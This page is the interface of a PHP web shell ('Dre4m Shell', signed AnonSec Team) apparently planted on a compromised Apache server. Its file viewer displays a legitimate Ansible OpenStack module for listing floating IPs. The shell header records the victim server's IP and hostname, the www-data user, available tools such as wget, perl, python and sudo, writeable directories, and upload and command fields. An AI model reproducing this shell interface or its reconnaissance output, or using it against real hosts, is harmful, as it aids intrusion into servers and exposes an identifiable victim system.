Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.227.105.164
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/openstack/cloud/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/openstack/cloud/plugins/modules/floating_ip_info.py
#!/usr/bin/python
# coding: utf-8 -*-
#
# Copyright (c) 2021 by Open Telekom Cloud, operated by T-Systems International GmbH
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

DOCUMENTATION = '''
---
module: floating_ip_info
short_description: Get information about floating ips
author: OpenStack Ansible SIG
description:
  - Get a generator of floating ips.
options:
  description:
    description:
      - The description of a floating IP.
    type: str
  fixed_ip_address:
    description:
      - The fixed IP address associated with a floating IP address.
    type: str
  floating_ip_address:
    description:
      -  The IP address of a floating IP.
    type: str
  floating_network:
    description:
      - The name or id of the network associated with a floating IP.
    type: str
  port:
    description:
      - The name or id of the port to which a floating IP is associated.
    type: str
  project_id:
    description:
      - The ID of the project a floating IP is associated with.
    type: str
  router:
    description:
      - The name or id of an associated router.
    type: str
  status:
    description:
      - The status of a floating IP, which can be ``ACTIVE``or ``DOWN``.
    choices: ['active', 'down']
    type: str
requirements:
    - "python >= 3.6"
    - "openstacksdk"

extends_documentation_fragment:
- openstack.cloud.openstack
'''

RETURN = '''
floating_ips:
  description: The floating ip objects list.
  type: complex
  returned: On Success.
  contains:
    created_at:
      description: Timestamp at which the floating IP was assigned.
      type: str
    description:
      description: The description of a floating IP.
      type: str
    dns_domain:
      description: The DNS domain.
      type: str
    dns_name:
      description: The DNS name.
      type: str
    fixed_ip_address:
      description: The fixed IP address associated with a floating IP address.
      type: str
    floating_ip_address:
      description: The IP address of a floating IP.
      type: str
    floating_network_id:
      description: The id of the network associated with a floating IP.
      type: str
    id:
      description: Id of the floating ip.
      type: str
    name:
      description: Name of the floating ip.
      type: str
    port_details:
      description: The details of the port that this floating IP associates \
        with. Present if ``fip-port-details`` extension is loaded.
      type: str
    port_id:
      description: The port ID floating ip associated with.
      type: str
    project_id:
      description: The ID of the project this floating IP is associated with.
      type: str
    qos_policy_id:
      description: The ID of the QoS policy attached to the floating IP.
      type: str
    revision_number:
      description: Revision number.
      type: str
    router_id:
      description: The id of the router floating ip associated with.
      type: str
    status:
      description: The status of a floating IP, which can be ``ACTIVE``or ``DOWN``.\
        Can be 'ACTIVE' and 'DOWN'.
      type: str
    subnet_id:
      description: The id of the subnet the floating ip associated with.
      type: str
    tags:
      description: List of tags.
      type: str
    updated_at:
      description: Timestamp at which the floating IP was last updated.
      type: str
'''

EXAMPLES = '''
# Getting all floating ips
- openstack.cloud.floating_ip_info:
  register: fips

# Getting fip by associated fixed IP address.
- openstack.cloud.floating_ip_info:
    fixed_ip_address: 192.168.10.8
  register: fip

# Getting fip by associated router.
- openstack.cloud.floating_ip_info:
    router: my-router
  register: fip
'''

from ansible_collections.openstack.cloud.plugins.module_utils.openstack import OpenStackModule


class FloatingIPInfoModule(OpenStackModule):
    argument_spec = dict(
        description=dict(required=False),
        fixed_ip_address=dict(required=False),
        floating_ip_address=dict(required=False),
        floating_network=dict(required=False),
        port=dict(required=False),
        project_id=dict(required=False),
        router=dict(required=False),
        status=dict(required=False, choices=['active', 'down']),
    )
    module_kwargs = dict(
        supports_check_mode=True
    )

    def run(self):

        description = self.params['description']
        fixed_ip_address = self.params['fixed_ip_address']
        floating_ip_address = self.params['floating_ip_address']
        floating_network = self.params['floating_network']
        port = self.params['port']
        project_id = self.params['project_id']
        router = self.params['router']
        status = self.params['status']

        query = {}
        if description:
            query['description'] = description
        if fixed_ip_address:
            query['fixed_ip_address'] = fixed_ip_address
        if floating_ip_address:
            query['floating_ip_address'] = floating_ip_address
        if floating_network:
            try:
                query['floating_network_id'] = self.conn.network.find_network(name_or_id=floating_network,
                                                                              ignore_missing=False).id
            except self.sdk.exceptions.ResourceNotFound:
                self.fail_json(msg="floating_network not found")
        if port:
            try:
                query['port_id'] = self.conn.network.find_port(name_or_id=port, ignore_missing=False).id
            except self.sdk.exceptions.ResourceNotFound:
                self.fail_json(msg="port not found")
        if project_id:
            query['project_id'] = project_id
        if router:
            try:
                query['router_id'] = self.conn.network.find_router(name_or_id=router, ignore_missing=False).id
            except self.sdk.exceptions.ResourceNotFound:
                self.fail_json(msg="router not found")
        if status:
            query['status'] = status.upper()

        ips = [ip.to_dict(computed=False) for ip in self.conn.network.ips(**query)]
        self.exit_json(changed=False, floating_ips=ips)


def main():
    module = FloatingIPInfoModule()
    module()


if __name__ == '__main__':
    main()

Anon7 - 2022
AnonSec Team